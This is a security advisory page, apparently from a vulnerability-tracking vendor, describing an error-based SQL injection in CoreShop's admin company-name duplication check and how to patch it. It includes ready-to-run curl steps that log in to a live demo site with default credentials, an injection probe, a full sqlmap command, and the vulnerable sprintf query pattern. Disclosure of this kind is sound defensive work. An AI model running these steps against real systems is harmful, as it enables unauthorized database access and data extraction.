GHSA-fqcv-8859-86x2 — coreshop/core-shop
Fix: coreshop/CoreShop@af80b8fGHSA-fqcv-8859-86x2 is a CWE-564 vulnerability in coreshop/core-shop. A fix is available for coreshop/core-shop — see the affected versions and patch details below.
CoreShop Vulnerable to SQL Injection via Admin customer-company-modifier
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fqcv-8859-86x2.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
coreshop/core-shopReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
SQL Injection in CustomerTransformerController
Summary
An error-based SQL Injection vulnerability was identified in the CustomerTransformerController within the CoreShop admin panel.
The affected endpoint improperly interpolates user-supplied input into a SQL query, leading to database error disclosure and potential data extraction.
This issue is classified as MEDIUM severity, as it allows SQL execution in an authenticated admin context.
Details
The vulnerability exists in the company name duplication check endpoint:
/admin/coreshop/customer-company-modifier/duplication-name-check?value=
Source code analysis indicates that user input is directly embedded into a SQL condition without parameterization.
Vulnerable file:
/app/repos/coreshop/src/CoreShop/Bundle/CustomerBundle/Controller/CustomerTransformerController.php
Vulnerable code pattern:
sprintf('name LIKE "%%%s%%"', (string) $value)
The $value parameter is fully user-controlled and is not escaped or bound as a prepared statement parameter.
Supplying a double quote (") causes a SQL syntax error, confirming that the input is executed in a SQL context.
Exploitation Steps:
Prerequisites
- Admin panel access at
https://demo4.coreshop.org/admin - Default credentials:
admin / coreshop
Authenticate to admin panel
# Get CSRF token
curl -s 'https://demo4.coreshop.org/admin/login/csrf-token' | grep csrfToken
# Initialize session
curl -s -c /tmp/session.txt 'https://demo4.coreshop.org/admin/login' > /dev/null
# Get CSRF token with session
CSRF=$(curl -s -b /tmp/session.txt 'https://demo4.coreshop.org/admin/login/csrf-token' | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)
# Login
curl -s -i -b /tmp/session.txt -c /tmp/session.txt \
-X POST 'https://demo4.coreshop.org/admin/login/login' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "username=admin&password=coreshop&csrfToken=$CSRF"
Trigger SQL error to confirm injection
curl -s -b /tmp/session.txt \
'https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22'
Expected result: HTTP 500 error page with title "500 | CORS - Pimcore Digital Agency"
Normal response (non-error):
{"success":true,"message":null,"list":[]}
Proof of Impact:
Test 1 - Normal query:
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value=test
Response: {"success":true,"message":null,"list":[]}
Test 2 - SQL injection (error-inducing):
GET /admin/coreshop/customer-company-modifier/duplication-name-check?value="
Response: HTTP 500 Internal Server Error
<!DOCTYPE html>
<html lang="en">
<head>
<title>500 | CORS - Pimcore Digital Agency</title>
...
</head>
The double quote character causes a SQL syntax error, confirming the injection point. The application returns a 500 error instead of the normal JSON response, proving that unescaped user input reaches the SQL query.
Sqlmap Result:
python sqlmap.py -r sql.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080/ --dbms=mysql -p value --level=5 --risk=3 --current-db
Impact
- Vulnerability type: SQL Injection (Error-based)
- Affected users: CoreShop / Pimcore admin users
- Potential impact:
- Database error disclosure
- Database schema enumeration
- Possible data extraction via error-based or blind SQL injection
Recommended Fix
1. Use Parameterized Queries (Required)
Avoid building SQL conditions using string concatenation or sprintf.
Use Doctrine QueryBuilder parameters instead.
❌ Vulnerable example:
$condition = sprintf('name LIKE "%%%s%%"', (string) $value);
✅ Secure example (Doctrine QueryBuilder):
$qb->andWhere('c.name LIKE :name')
->setParameter('name', '%' . $value . '%');
This ensures proper escaping and prevents SQL injection.
2. Validate User Input (Defense-in-Depth)
Apply strict input validation before processing user data:
if (!is_string($value) || mb_strlen($value) > 255) {
throw new BadRequestHttpException('Invalid input');
}
Optionally, restrict allowed characters if business logic permits.
3. Handle Errors Gracefully
Avoid returning raw 500 error pages to users.
Catch database exceptions and return a controlled JSON error response instead:
return new JsonResponse([
'success' => false,
'message' => 'Invalid request'
], 400);
4. Security Best Practice
- Never interpolate user input directly into SQL strings
- Always use prepared statements or ORM parameter binding
- Ensure consistent input validation on all admin endpoints
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | coreshop/core-shop | all versions | 4.1.9composer require coreshop/core-shop:^4.1.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for coreshop/core-shop, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update coreshop/core-shop to 4.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fqcv-8859-86x2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-fqcv-8859-86x2 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-fqcv-8859-86x2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fqcv-8859-86x2 in your dependencies?
O3 Security finds GHSA-fqcv-8859-86x2 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.